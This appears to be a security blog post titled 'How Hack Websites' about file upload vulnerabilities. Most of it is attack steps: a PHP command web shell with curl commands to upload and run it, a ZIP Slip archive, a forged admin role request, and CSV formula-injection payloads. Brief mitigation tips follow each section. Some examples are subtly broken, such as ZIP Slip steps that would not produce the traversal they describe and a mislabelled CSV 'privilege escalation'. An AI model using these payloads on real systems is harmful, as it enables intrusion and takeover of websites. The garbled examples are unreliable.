How Hack Websites: Exploiting File Upload Vulnerabilities for RCE & Privilege Escalation

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You Should Know:

File upload vulnerabilities are among the most critical security flaws, often leading to Remote Code Execution (RCE) or Privilege Escalation. Below are verified exploitation techniques, commands, and preventive measures.

1. Unrestricted File Upload → RCE

Attackers upload malicious scripts (e.g., .php, .jsp) to execute arbitrary code.

Exploitation Steps:

1. Craft a malicious PHP shell:

<?php system($_GET['cmd']); ?>

Save as `shell.php`.

2. Upload the file (if no filters exist):

curl -F "[email protected]" http://vulnerable-site.com/upload

3. Execute commands:

curl http://vulnerable-site.com/uploads/shell.php?cmd=id

Mitigation:

  • Restrict file extensions (e.g., .jpg, .png).
  • Use file signature verification (Magic Bytes).
  1. Malicious ZIP Upload → RCE (ZIP Slip / Auto-Extraction)

Attackers exploit auto-extraction to overwrite system files.

Exploitation Steps:

1. Create a malicious ZIP:

echo "malicious code" > ../../var/www/html/shell.php 
zip --symlinks evil.zip ../../var/www/html/shell.php

2. Upload & Trigger Extraction:

curl -F "[email protected]" http://vulnerable-site.com/unzip

Mitigation:

  • Sanitize filenames during extraction.
  • Use chroot for extraction directories.

3. Client-Side Validation Bypass → Privilege Escalation

Attackers manipulate front-end checks to escalate privileges.

Exploitation Steps:

1. Intercept Request (Burp Suite):

POST /admin/role_update HTTP/1.1 
Cookie: user=attacker 
Content-Type: application/json

{"role":"admin"}

2. Bypass using `curl`:

curl -X POST -H "Content-Type: application/json" -d '{"role":"admin"}' http://vulnerable-site.com/admin/role_update --cookie "user=attacker"

Mitigation:

  • Enforce server-side validation.
  • Implement JWT/OAuth for role management.

4. CSV Injection → Privilege Escalation

Malicious CSV cells execute formulas when opened in Excel.

Exploitation Steps:

1. Craft a malicious CSV:

=cmd|' /C calc'!A0,Name,Email

2. Upload & Wait for Admin Export:

echo "=HYPERLINK(\"javascript:alert('XSS')\", \"Click\")" > exploit.csv

Mitigation:

  • Sanitize CSV inputs.
  • Use CSV parsers instead of Excel.

What Undercode Say:

File upload vulnerabilities remain a goldmine for attackers. Always:
– Restrict uploads via .htaccess: 

<FilesMatch "\.(php|jsp|sh)$">
Deny from all 
</FilesMatch>

– Use Linux hardening: 

chattr +i /var/www/html/uploads  Immutable directory

– Monitor logs: 

tail -f /var/log/apache2/access.log | grep ".php"

Expected Output:

A compromised web shell (`http://vulnerable-site.com/uploads/shell.php`) executing arbitrary commands.

Prediction:

File upload attacks will evolve with AI-generated polymorphic payloads, bypassing traditional detection. Stay vigilant with ML-based WAFs.

(Reference: OWASP Unrestricted File Upload)

IT/Security Reporter URL:

Reported By: Rafa Sec – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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